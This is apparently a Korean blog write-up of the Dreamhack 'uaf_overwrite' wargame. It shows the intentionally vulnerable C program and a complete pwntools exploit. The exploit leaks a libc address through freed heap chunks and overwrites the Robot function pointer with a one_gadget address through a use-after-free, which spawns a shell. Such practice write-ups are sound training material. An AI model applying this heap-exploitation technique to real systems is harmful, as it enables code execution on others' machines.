본문 바로가기

Dreamhack/Wargame

[Wargame] uaf_overwrite

1. 실습 코드

  • C 코드, 바이너리 파일, libc-2.27.so가 주어진다.
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

2. 풀이

아래 주소의 설명을 보면, 금방 풀 수 있는 문제이기 때문에 풀이는 생략한다.
( 2022.09.16 - [Dreamhack/Lecture & Practice] - [Practice] Use After Free )

 


   ※주의사항※

   문제에 주어진 libc-2.27.so가 로드되었는지 확인해야한다.
   필자는 확인안했다가 libc-2.31.so로 잘못 구해서 험난한 여정을 지났다....

   => 해결방법 : pwntools에서 process함수를 사용할 때 env로 해당 라이브러리를 작성해준다.
                         하지만, LD_PRELOAD는 ubuntu-20.04에서는 실행되지 않아, ubutu-18.04에서 실행하였다.

3. Exploit

from pwn import *

p = remote(b"host3.dreamhack.games", 16868)
#p = process('./uaf_overwrite', env={'LD_PRELOAD':'./libc-2.27.so'})

def print_v(n, v): success(n + ": " + hex(v))

def human(weight, age):
    p.sendlineafter(b"> ", "1")
    p.sendlineafter(b": ", str(weight))
    p.sendlineafter(b": ", str(age))

def robot(weight):
    p.sendlineafter(b"> ", "2")
    p.sendlineafter(b": ", str(weight))

def custom(size, data, idx):
    p.sendlineafter(b"> ", "3")
    p.sendlineafter(b": ", str(size))
    p.sendafter(b": ", data)
    p.sendlineafter(b": ", str(idx))

custom(0x500, b"A", -1)
custom(0x500, b"A", -1)
custom(0x500, b"A", 0)
custom(0x500, b"B", -1)

offset = 0x3EBC42 # main_arena - libc addr = offset
m_arena = u64(p.recvline()[:-1].ljust(8, b"\x00"))
libc_base = m_arena - offset
one_gadget = libc_base + 0x10a41c

print_v("main_arena", m_arena)
print_v("lib base addr", libc_base)
print_v("one_gadget", one_gadget)

human(1, one_gadget)
robot(1)

p.interactive()

 

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] basic_exploitation_003  (0) 2022.08.16
[Wargame] basic_exploitation_002  (0) 2022.08.15
[Wargame] out_of_bound  (0) 2022.08.10
[Wargame] hook  (0) 2022.07.22
[Wargame] oneshot  (0) 2022.07.19